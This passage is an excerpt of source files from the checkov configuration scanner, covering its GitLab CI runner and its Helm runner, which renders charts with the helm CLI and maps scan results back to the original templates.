    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.report import Report\nfrom checkov.common.util.type_forcers import force_dict\nfrom checkov.gitlab_ci.checks.registry import registry\nfrom checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from collections.abc import Iterable\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.GITLAB_CI  # noqa: CCE003  # a static attribute\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if Runner.is_workflow_file(f):\n            return YamlRunner._parse_file(f=f, file_content=file_content)\n\n        return None\n\n    @staticmethod\n    def is_workflow_file(file_path: str) -> bool:\n        \"\"\"\n        :return: True if the file mentioned is in the gitlab workflow name .gitlab-ci.yml. Otherwise: False\n        \"\"\"\n        return file_path.endswith((\".gitlab-ci.yml\", \".gitlab-ci.yaml\"))\n\n    def included_paths(self) -> Iterable[str]:\n        return (\".gitlab-ci.yml\", \".gitlab-ci.yaml\")\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        file_config = force_dict(self.definitions[file_path])\n        if not file_config:\n            return key\n        resource_id: str = generate_resource_key_recursive(conf=file_config, key='', start_line=start_line,\n                                                           end_line=end_line)\n        return resource_id\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir,\n                             files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments)\n        return report\n"
  },
  {
    "path": "checkov/helm/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/helm/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.typing import _SkippedCheck, _CheckResult\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(CheckType.HELM)\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, dict[str, Any]]:  # type:ignore[override]\n        kind = entity[\"kind\"]\n        conf = entity\n        return kind, conf\n\n    def scan(\n        self,\n        scanned_file: str,\n        entity: dict[str, Any],\n        skipped_checks: list[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        report_type: str | None = None,\n    ) -> dict[BaseCheck, _CheckResult]:\n        (entity_type, entity_configuration) = self.extract_entity_details(entity)\n        results = {}\n        checks = self.get_checks(entity_type)\n        for check in checks:\n            skip_info: \"_SkippedCheck\" = {}\n            if skipped_checks:\n                if check.id in [x['id'] for x in skipped_checks]:\n                    skip_info = [x for x in skipped_checks if x['id'] == check.id][0]\n\n            if self._should_run_scan(check.id, entity_configuration, runner_filter):\n                self.logger.debug(\"Running check: {} on file {}\".format(check.name, scanned_file))\n\n                result = check.run(scanned_file=scanned_file, entity_configuration=entity_configuration,\n                                   entity_name=entity_type, entity_type=entity_type, skip_info=skip_info)\n                results[check] = result\n        return results\n\n    @staticmethod\n    def _should_run_scan(check_id: str, entity_configuration: dict[str, Any], runner_filter: RunnerFilter) -> bool:\n        check_id_allowlist = runner_filter.checks\n        check_id_denylist = runner_filter.skip_checks\n        if check_id_allowlist:\n            # Allow list provides namespace-only allows, check-only allows, or both\n            # If namespaces not specified, all namespaces are scanned\n            # If checks not specified, all checks are scanned\n            run_check = False\n            allowed_namespaces = [string for string in check_id_allowlist if \"CKV_\" not in string]\n            if not any(\"CKV_\" in check for check in check_id_allowlist):\n                if \"metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"metadata\"]:\n                    if entity_configuration[\"metadata\"][\"namespace\"] in allowed_namespaces:\n                        run_check = True\n                elif \"parent_metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"parent_metadata\"]:\n                    if entity_configuration[\"parent_metadata\"][\"namespace\"] in allowed_namespaces:\n                        run_check = True\n                else:\n                    if \"default\" in allowed_namespaces:\n                        run_check = True\n            else:\n                if check_id in check_id_allowlist or RunnerFilter.is_external_check(check_id):\n                    if allowed_namespaces:\n                        # Check if namespace in allowed namespaces\n                        if \"metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"metadata\"]:\n                            if entity_configuration[\"metadata\"][\"namespace\"] in allowed_namespaces:\n                                run_check = True\n                        elif \"parent_metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"parent_metadata\"]:\n                            if entity_configuration[\"parent_metadata\"][\"namespace\"] in allowed_namespaces:\n                                run_check = True\n                        else:\n                            if \"default\" in allowed_namespaces:\n                                run_check = True\n                    else:\n                        # No namespaces to filter\n                        run_check = True\n            if run_check:\n                return True\n        elif check_id_denylist:\n            namespace_skip = False\n            if \"metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"metadata\"]:\n                if entity_configuration[\"metadata\"][\"namespace\"] in check_id_denylist:\n                    namespace_skip = True\n            elif \"parent_metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"parent_metadata\"]:\n                if entity_configuration[\"parent_metadata\"][\"namespace\"] in check_id_denylist:\n                    namespace_skip = True\n            else:\n                if \"default\" in check_id_denylist:\n                    namespace_skip = True\n            if check_id not in check_id_denylist and namespace_skip is False:\n                return True\n        else:\n            return True\n        return False\n"
  },
  {
    "path": "checkov/helm/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/helm/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\nfrom typing import Any, Mapping\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider\nfrom checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias\n\n\nclass BaseHelmProvider(BaseKubernetesProvider):\n    def __init__(self, graph_connector: LibraryGraph,\n                 supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[str, _ExtractImagesCallableAlias],\n                 original_root_dir: str, temp_root_dir: str) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=supported_resource_types,\n        )\n        self.original_root_dir = original_root_dir\n        self.temp_root_dir = temp_root_dir\n\n    def _get_resource_path(self, resource: dict[str, Any]) -> str:\n        k8s_path = resource.get(CustomAttributes.FILE_PATH, \"\")\n        return str(k8s_path.replace(self.temp_root_dir, self.original_root_dir, 1))\n"
  },
  {
    "path": "checkov/helm/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.helm.image_referencer.provider.helm import HelmProvider\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass HelmImageReferencerManager(GraphImageReferencerManager):\n\n    def __init__(self, graph_connector: LibraryGraph, original_root_dir: str, temp_root_dir: str):\n        super().__init__(graph_connector)\n        self.original_root_dir = original_root_dir\n        self.temp_root_dir = temp_root_dir\n\n    def extract_images_from_resources(self) -> list[Image]:\n        helm_provider = HelmProvider(graph_connector=self.graph_connector, original_root_dir=self.original_root_dir,\n                                     temp_root_dir=self.temp_root_dir)\n        images = helm_provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/helm/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/helm/image_referencer/provider/helm.py",
    "content": "from __future__ import annotations\n\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.helm.image_referencer.base_provider import BaseHelmProvider\nfrom checkov.kubernetes.image_referencer.provider.k8s import SUPPORTED_K8S_IMAGE_RESOURCE_TYPES\n\n\nclass HelmProvider(BaseHelmProvider):\n    def __init__(self, graph_connector: LibraryGraph, original_root_dir: str, temp_root_dir: str):\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES,\n            original_root_dir=original_root_dir,\n            temp_root_dir=temp_root_dir\n        )\n"
  },
  {
    "path": "checkov/helm/registry.py",
    "content": "from checkov.helm.base_registry import Registry\n\nregistry = Registry()\n"
  },
  {
    "path": "checkov/helm/runner.py",
    "content": "from __future__ import annotations\n\nimport io\nimport itertools\nimport logging\nimport os\nimport shutil\nimport subprocess  # nosec\nimport tempfile\nimport threading\nfrom typing import Any, Type, TYPE_CHECKING\nimport yaml\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import fix_related_resource_ids, Image\nfrom checkov.common.output.report import Report\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths\nfrom checkov.helm.image_referencer.manager import HelmImageReferencerManager\nfrom checkov.helm.registry import registry\nfrom checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph\nfrom checkov.kubernetes.runner import Runner as k8_runner, handle_timeout, _KubernetesContext, _KubernetesDefinitions\nfrom checkov.runner_filter import RunnerFilter\nimport signal\n\nif TYPE_CHECKING:\n    from checkov.kubernetes.graph_manager import KubernetesGraphManager\n    from networkx import DiGraph\n\n\nclass K8sHelmRunner(k8_runner):\n    check_type = CheckType.HELM  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        graph_class: Type[KubernetesLocalGraph] = KubernetesLocalGraph,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.KUBERNETES,\n        graph_manager: KubernetesGraphManager | None = None,\n        external_registries: list[BaseRegistry] | None = None\n    ) -> None:\n        super().__init__(graph_class, db_connector, source, graph_manager, external_registries)\n        self.chart_dir_and_meta: list[tuple[str, dict[str, Any]]] = []\n        self.pbar.turn_off_progress_bar()\n        self.original_root_dir = ''\n        self.tmp_root_dir = ''\n        self.template_mapping: dict[str, str] = {}\n\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        report = Report(self.check_type)\n\n        if not self.chart_dir_and_meta:\n            return report\n        if external_checks_dir:\n            for directory in external_checks_dir:\n                registry.load_external_checks(directory)\n        try:\n            chart_results = super().run(root_folder, external_checks_dir=external_checks_dir, runner_filter=runner_filter)\n\n            if isinstance(chart_results, list):\n                helm_report = next(\n                    chart_result for chart_result in chart_results if chart_result.check_type == self.check_type\n                )\n                sca_image_report = next(\n                    chart_result for chart_result in chart_results if chart_result.check_type == CheckType.SCA_IMAGE\n                )\n            else:\n                helm_report = chart_results\n                sca_image_report = None\n\n            if root_folder is not None:\n                fix_report_paths(report=helm_report, tmp_dir=root_folder, template_mapping=self.template_mapping, original_root_folder=self.original_root_dir)\n                if self.original_root_dir:\n                    fix_related_resource_ids(report=sca_image_report, tmp_dir=self.original_root_dir)\n                else:\n                    fix_related_resource_ids(report=sca_image_report, tmp_dir=root_folder)\n\n            return chart_results\n        except Exception:\n            logging.warning(f\"Failed to run Kubernetes runner on charts {self.chart_dir_and_meta}\", exc_info=True)\n            # with tempfile.TemporaryDirectory() as save_error_dir:\n            # TODO this will crash the run when target_dir gets cleaned up, since it no longer exists\n            # we either need to copy or find another way to extract whatever we want to get from this (the TODO below)\n            # logging.debug(\n            #    f\"Error running k8s scan on {chart_meta['name']}. Scan dir: {target_dir}. Saved context dir: {save_error_dir}\")\n            # shutil.move(target_dir, save_error_dir)\n\n            # TODO: Export helm dependencies for the chart we've extracted in chart_dependencies\n            return report\n\n    def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None:\n        if not self.graph_manager:\n            return None\n        return self.check_container_image_references(\n            graph_connector=self.graph_manager.get_reader_endpoint(),\n            root_path=self.original_root_dir,\n            runner_filter=runner_filter,\n        )\n\n    def extract_images(\n            self,\n            graph_connector: DiGraph | None = None,\n            definitions: None = None,\n            definitions_raw: dict[str, list[tuple[int, str]]] | None = None\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = HelmImageReferencerManager(graph_connector=graph_connector, original_root_dir=self.original_root_dir,\n                                             temp_root_dir=self.tmp_root_dir)\n        images = manager.extract_images_from_resources()\n\n        return images\n\n\nclass Runner(BaseRunner[_KubernetesDefinitions, _KubernetesContext, \"KubernetesGraphManager\"]):\n    check_type: str = CheckType.HELM  # noqa: CCE003  # a static attribute\n    helm_command = 'helm'  # noqa: CCE003  # a static attribute\n    system_deps = True  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.file_names = ['Chart.yaml']\n        self.target_folder_path = ''\n        self.root_folder = ''\n        self.runner_filter: \"RunnerFilter | None\" = None\n        self.template_mapping: dict[str, str] = {}\n\n    def get_k8s_target_folder_path(self) -> str:\n        return self.target_folder_path\n\n    @staticmethod\n    def parse_helm_chart_details(chart_path: str) -> tuple[str, dict[str, Any] | None]:\n        with open(f\"{chart_path}/Chart.yaml\", 'r') as chartyaml:\n            try:\n                chart_meta: dict[str, Any] = yaml.safe_load(chartyaml)\n            except (yaml.YAMLError, UnicodeDecodeError):\n                logging.info(f\"Failed to load chart metadata from {chart_path}/Chart.yaml.\", exc_info=True)\n                return chart_path, None\n        return chart_path, chart_meta\n\n    def check_system_deps(self) -> str | None:\n        # Ensure local system dependencies are available and of the correct version.\n        # Returns framework names to skip if deps fail.\n        logging.info(f\"Checking necessary system dependencies for {self.check_type} checks.\")\n        try:\n            proc = subprocess.Popen([self.helm_command, 'version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # nosec\n            o, e = proc.communicate()\n            oString = str(o, 'utf-8')\n            if \"Version:\" in oString:\n                helmVersionOutput = oString[oString.find(':') + 2: oString.find(',') - 1]\n                if \"v3\" in helmVersionOutput:\n                    logging.info(f\"Found working version of {self.check_type} dependencies: {helmVersionOutput}\")\n                    return None\n            else:\n                return self.check_type\n        except Exception:\n            logging.info(f\"Error running necessary tools to process {self.check_type} checks.\")\n\n        return self.check_type\n\n    @staticmethod\n    def _parse_output(target_dir: str, output: bytes, chart_dir: str, template_mapping: dict[str, str]) -> None:\n        output_str = str(output, 'utf-8')\n        reader = io.StringIO(output_str)\n        cur_source_file = None\n        cur_writer = None\n        last_line_dashes = False\n        line_num = 1\n        for s in reader:\n            s = s.rstrip()\n            if s == '---':\n                last_line_dashes = True\n                continue\n\n            if last_line_dashes:\n                # The next line should contain a \"Source\" comment saying the name of the file it came from\n                # So we will close the old file, open a new file, and write the dashes from last iteration plus this line\n\n                if not s.startswith('# Source: '):\n                    raise Exception(f'Line {line_num}: Expected line to start with # Source: {s}')\n                source = s[10:]\n                if source != cur_source_file:\n                    if cur_writer:\n                        cur_writer.close()\n                    file_path = os.path.join(target_dir, source)\n                    parent = os.path.dirname(file_path)\n                    os.makedirs(parent, exist_ok=True)\n                    cur_source_file = source\n                    cur_writer = open(os.path.join(target_dir, source), 'a')\n\n                # Now extract the original template path from the source comment\n                # Format is typically: \"chartname/templates/deployment.yaml\"\n                # We need to extract just the \"templates/deployment.yaml\" part\n                template_path = source.split('/', 1)[1] if '/' in source else source\n\n                # Construct the path to the original template file\n                original_template = os.path.join(chart_dir, template_path)\n\n                if os.path.exists(original_template):\n                    # Store mapping: temp file path (without prefix) -> original template path\n                    template_mapping[os.path.join(target_dir, source).replace('//', '/')] = original_template\n\n                if cur_writer:\n                    cur_writer.write('---' + os.linesep)\n                    cur_writer.write(s + os.linesep)\n\n                last_line_dashes = False\n            else:\n                if s.startswith('# Source: '):\n                    raise Exception(f'Line {line_num}: Unexpected line starting with # Source: {s}')\n\n                if not cur_writer:\n                    continue\n                else:\n                    cur_writer.write(s + os.linesep)\n\n            line_num += 1\n\n        if cur_writer:\n            cur_writer.close()\n\n    @staticmethod\n    def _get_target_dir(chart_item: tuple[str, dict[str, Any]], root_folder: str, target_folder_path: str) -> str | None:\n        (chart_dir, chart_meta) = chart_item\n        target_dir = chart_dir.replace(root_folder, f'{target_folder_path}/')\n        target_dir.replace(\"//\", \"/\")\n        chart_name = chart_meta.get('name', chart_meta.get('Name'))\n        if not chart_name:\n            logging.info(\n                f\"Error parsing chart located {chart_dir}, chart has no name available\",\n                exc_info=True,\n            )\n            return None\n        if target_dir.endswith('/'):\n            target_dir = target_dir[:-1]\n        if target_dir.endswith(chart_name):\n            target_dir = target_dir[:-len(chart_name)]\n        return target_dir\n\n    @staticmethod\n    def get_binary_output_from_directory(chart_dir: str, target_dir: str, helm_command: str,\n                                         runner_filter: RunnerFilter, timeout: int = 3600) \\\n            -> tuple[bytes, tuple[str, dict[str, Any]]] | tuple[None, None]:\n        _, chart_meta = Runner.parse_helm_chart_details(chart_dir)\n        chart_item = (chart_dir, chart_meta or {})\n        return Runner.get_binary_output(chart_item, target_dir, helm_command, runner_filter, timeout)\n\n    @staticmethod\n    def get_binary_output(\n        chart_item: tuple[str, dict[str, Any]], target_dir: str, helm_command: str, runner_filter: RunnerFilter, timeout: int = 3600\n    ) -> tuple[bytes, tuple[str, dict[str, Any]]] | tuple[None, None]:\n        (chart_dir, chart_meta) = chart_item\n        if not isinstance(chart_meta, dict):\n            logging.error(f\"invalid chart meta {chart_meta}\")\n            return None, None\n        chart_name = chart_meta.get('name', chart_meta.get('Name'))\n        chart_version = chart_meta.get('version', chart_meta.get('Version'))\n        logging.info(\n            f\"Processing chart found at: {chart_dir}, name: {chart_name}, version: {chart_version}\")\n        # dependency list is nicer to parse than dependency update.\n        try:\n            helm_binary_list_chart_deps = subprocess.Popen([helm_command, 'dependency', 'list', chart_dir], stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # nosec\n            o, e = helm_binary_list_chart_deps.communicate()\n        except Exception:\n            logging.error('Error run helm command', exc_info=True)\n            return None, None\n        logging.debug(\n            f\"Ran helm command to get dependency output. Chart: {chart_name}. dir: {target_dir}. Output: {str(o, 'utf-8')}. Errors: {str(e, 'utf-8')}\")\n        if e:\n            if \"Warning: Dependencies\" in str(e, 'utf-8'):\n                logging.warning(\n                    f\"V1 API chart without Chart.yaml dependencies. Skipping chart dependancy list for {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. Error details: {str(e, 'utf-8')}\")\n            else:\n                logging.warning(\n                    f\"Error processing helm dependencies for {chart_name} at source dir: {chart_dir}. Working dir: {target_dir}. Error details: {str(e, 'utf-8')}\")\n\n        helm_command_args = [helm_command, 'template', '--dependency-update', chart_dir]\n        if runner_filter.var_files:\n            for var in runner_filter.var_files:\n                helm_command_args.append(\"--values\")\n                helm_command_args.append(var)\n\n        if threading.current_thread() is threading.main_thread():\n            signal.signal(signal.SIGALRM, handle_timeout)\n            signal.alarm(timeout)\n\n        try:\n            # --dependency-update needed to pull in deps before templating.\n            proc = subprocess.Popen(helm_command_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # nosec\n            o, e = proc.communicate()\n            if threading.current_thread() is threading.main_thread():\n                signal.alarm(0)\n            if e:\n                logging.warning(\n                    f\"Failed processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. Failure details: {str(e, 'utf-8')}\")\n                return None, None\n            logging.debug(\n                f\"Ran helm command to template chart output. Chart: {chart_name}. dir: {target_dir}. Output: {str(o, 'utf-8')}. Errors: {str(e, 'utf-8')}\")\n            logging.info(f'Done helm run for: {chart_dir}')\n            return o, chart_item\n\n        except Exception as e:\n            if threading.current_thread() is threading.main_thread():\n                signal.alarm(0)\n            if isinstance(e, TimeoutError):\n                logging.info(\n                    f\"Error processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. got timeout\"\n                )\n            else:\n                logging.info(\n                    f\"Error processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}.\",\n                    exc_info=True,\n                )\n            return None, None\n\n    @staticmethod\n    def _convert_chart_to_k8s(\n        chart_item: tuple[str, dict[str, Any]],\n        root_folder: str,\n        target_folder_path: str,\n        helm_command: str,\n        runner_filter: RunnerFilter,\n        template_mapping: dict[str, str]\n    ) -> None:\n        target_dir = Runner._get_target_dir(chart_item, root_folder, target_folder_path)\n        if not target_dir:\n            return\n\n        o, _ = Runner.get_binary_output(chart_item, target_folder_path, helm_command, runner_filter)\n        if o is None:\n            return\n\n        try:\n            # chart_dir is the directory containing the Chart.yaml file\n            chart_dir = chart_item[0]  # This is the full path to the chart directory\n            Runner._parse_output(target_dir, o, chart_dir, template_mapping)\n        except Exception:\n            (chart_dir, chart_meta) = chart_item\n            chart_name = chart_meta.get('name', chart_meta.get('Name'))\n            logging.info(\n                f\"Error parsing output {chart_name} at dir: {chart_dir}. Working dir: {target_dir}.\",\n                exc_info=True,\n            )\n\n    @staticmethod\n    def _get_chart_dir_and_meta(\n        root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter\n    ) -> list[tuple[str, dict[str, Any]]]:\n        chart_directories = find_chart_directories(root_folder, files, runner_filter.excluded_paths)\n        chart_dir_and_meta = parallel_runner.run_function(func=Runner.parse_helm_chart_details, items=chart_directories)\n        # remove parsing failures\n        cleaned_chart_dir_and_meta = [(chart_dir, meta) for chart_dir, meta in chart_dir_and_meta if meta]\n        return cleaned_chart_dir_and_meta\n\n    @staticmethod\n    def _get_processed_chart_dir_and_meta(\n        chart_dir_and_meta: list[tuple[str, dict[str, Any]]], root_folder: str\n    ) -> list[tuple[str, dict[str, Any]]]:\n        processed_chart_dir_and_meta = []\n        for chart_dir, chart_meta in chart_dir_and_meta:\n            processed_chart_dir_and_meta.append((chart_dir.replace(root_folder, \"\"), chart_meta))\n        return processed_chart_dir_and_meta\n\n    def convert_helm_to_k8s(\n        self, root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter\n    ) -> list[tuple[Any, dict[str, Any]]]:\n        self.root_folder = root_folder or \"\"\n        self.runner_filter = runner_filter\n        self.target_folder_path = tempfile.mkdtemp()\n        chart_dir_and_meta = Runner._get_chart_dir_and_meta(self.root_folder, files, runner_filter)\n        chart_items = [\n            (chart_item, self.root_folder, self.target_folder_path, self.helm_command, runner_filter, self.template_mapping)\n            for chart_item in chart_dir_and_meta\n        ]\n\n        list(parallel_runner.run_function(func=Runner._convert_chart_to_k8s, items=chart_items))\n        return Runner._get_processed_chart_dir_and_meta(chart_dir_and_meta, self.root_folder)\n\n    def remove_target_folder(self) -> None:\n        try:\n            shutil.rmtree(self.target_folder_path)  # delete directory\n        except OSError as exc:\n            logging.debug(\"failed to remove helm target folder path\", exc_info=exc)\n\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        k8s_runner = K8sHelmRunner()\n        k8s_runner.chart_dir_and_meta = self.convert_helm_to_k8s(root_folder, files, runner_filter)\n        k8s_runner.template_mapping = self.template_mapping\n        k8s_runner.original_root_dir = str(root_folder)\n        k8s_runner.tmp_root_dir = self.get_k8s_target_folder_path()\n        report = k8s_runner.run(self.get_k8s_target_folder_path(), external_checks_dir=external_checks_dir, runner_filter=runner_filter)\n        self.graph_manager = k8s_runner.graph_manager\n        self.remove_target_folder()\n        return report\n\n\ndef fix_report_paths(report: Report, tmp_dir: str, template_mapping: dict[str, str], original_root_folder: str) -> None:\n    \"\"\"\n    Fix file paths in the report to point to original Helm template files instead of temporary K8s manifests.\n\n    Args:\n        report: The report containing checks with file paths to fix\n        tmp_dir: The temporary directory containing the rendered K8s manifests\n        template_mapping: Mapping of temporary paths to original template paths\n        original_root_folder: The original Helm chart folder\n    \"\"\"\n    for check in itertools.chain(report.failed_checks, report.passed_checks):\n        # First remove the tmp_dir prefix\n        tmp_path = check.repo_file_path\n\n        # Then check if we have a mapping to the original template file\n        if tmp_path in template_mapping:\n            file_abs_path = template_mapping[tmp_path]\n            repo_file_path = file_abs_path.replace(original_root_folder, '', 1)\n            check.repo_file_path = repo_file_path\n            check.file_path = repo_file_path\n            check.file_abs_path = file_abs_path\n        else:\n            check.repo_file_path = tmp_path.replace(tmp_dir, '', 1)\n\n    # Update resources in the report\n    new_resources = set()\n    for resource in report.resources:\n        resource_file_path = resource.split(':')[0]\n        resource_id = resource.split(':')[1]\n        if resource_file_path in template_mapping:\n            new_resources.add(f'{template_mapping[resource_file_path]}:{resource_id}')\n        else:\n            new_resources.add(resource.replace(tmp_dir, '', 1))\n\n    report.resources = new_resources\n\n\ndef get_skipped_checks(entity_conf: dict[str, Any]) -> list[dict[str, str]]:\n    skipped = []\n    metadata = {}\n    if not isinstance(entity_conf, dict):\n        return skipped\n    if entity_conf[\"kind\"] == \"containers\" or entity_conf[\"kind\"] == \"initContainers\":\n        metadata = entity_conf[\"parent_metadata\"]\n    else:\n        if \"metadata\" in entity_conf.keys():\n            metadata = entity_conf[\"metadata\"]\n    if \"annotations\" in metadata.keys() and metadata[\"annotations\"] is not None:\n        for key in metadata[\"annotations\"].keys():\n            skipped_item = {}\n            if \"checkov.io/skip\" in key or \"bridgecrew.io/skip\" in key:\n                if \"CKV_K8S\" in metadata[\"annotations\"][key]:\n                    if \"=\" in metadata[\"annotations\"][key]:\n                        (skipped_item[\"id\"], skipped_item[\"suppress_comment\"]) = metadata[\"annotations\"][key].split(\"=\")\n                    else:\n                        skipped_item[\"id\"] = metadata[\"annotations\"][key]\n                        skipped_item[\"suppress_comment\"] = \"No comment provided\"\n                    skipped.append(skipped_item)\n                else:\n                    logging.info(f\"Parse of Annotation Failed for {metadata['annotations'][key]}: {entity_conf}\")\n                    continue\n    return skipped\n\n\ndef find_chart_directories(root_folder: str | None, files: list[str] | None, excluded_paths: list[str]) -> list[str]:\n    chart_directories = []\n    if not excluded_paths:\n        excluded_paths = []\n    if files:\n        logging.info('Running with --file argument; checking for Helm Chart.yaml files')\n        for file in files:\n            if os.path.basename(file) == 'Chart.yaml':\n                chart_directories.append(os.path.dirname(file))\n\n    if root_folder:\n        for root, d_names, f_names in os.walk(root_folder):\n            filter_ignored_paths(root, d_names, excluded_paths)\n            filter_ignored_paths(root, f_names, excluded_paths)\n            if 'Chart.yaml' in f_names:\n                chart_directories.append(root)\n\n    return chart_directories\n"
  },
  {
    "path": "checkov/json_doc/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/json_doc/base_json_check.py",
    "content": "from typing import Iterable, Optional\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.json_doc.registry import registry\n\n\nclass BaseJsonCheck(BaseCheck):\n    def __init__(self, name: str, id: str, categories: \"Iterable[CheckCategories]\", supported_entities: Iterable[str],\n                 block_type: str, path: Optional[str] = None) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n"
  },
  {
    "path": "checkov/json_doc/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict, List, Callable\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import _SkippedCheck\nfrom checkov.json_doc.enums import BlockType\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self, report_type: str) -> None:  # TODO set default to JSON\n        super().__init__(report_type=report_type)\n        self._scanner: Dict[str, Callable[[str, Any, Any, Any, str, str, Dict[str, Any]], None]] = {\n            BlockType.ARRAY: self._scan_json_array,\n            BlockType.OBJECT: self._scan_json_object,\n        }\n\n    def _scan_json_array(\n        self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: List[Dict[str, Any]],\n            entity_name: str, entity_type: str, results: Dict[str, Any]\n    ) -> None:\n        for item in entity:\n            if entity_name in item:\n                result = self.update_result(\n                    check,\n                    item[entity_name],\n                    entity_name,\n                    entity_type,\n                    results,\n                    scanned_file,\n                    skip_info,\n                )\n\n                if result == CheckResult.FAILED:\n                    break\n\n    def _scan_json_object(\n        self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: Dict[str, Any],\n            entity_name: str, entity_type: str, results: Dict[str, Any]\n    ) -> None:\n        if entity_name in entity:\n            self.update_result(\n                check,\n                entity[entity_name],\n                entity_name,\n                entity_type,\n                results,\n                scanned_file,\n                skip_info,\n            )\n\n    def _scan_json_document(\n        self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: Dict[str, Any], entity_name: str,\n            entity_type: str, results: Dict[str, Any]\n    ) -> None:\n        self.update_result(\n            check, entity, entity_name, entity_type, results, scanned_file, skip_info\n        )\n\n    def _scan_json(\n        self,\n        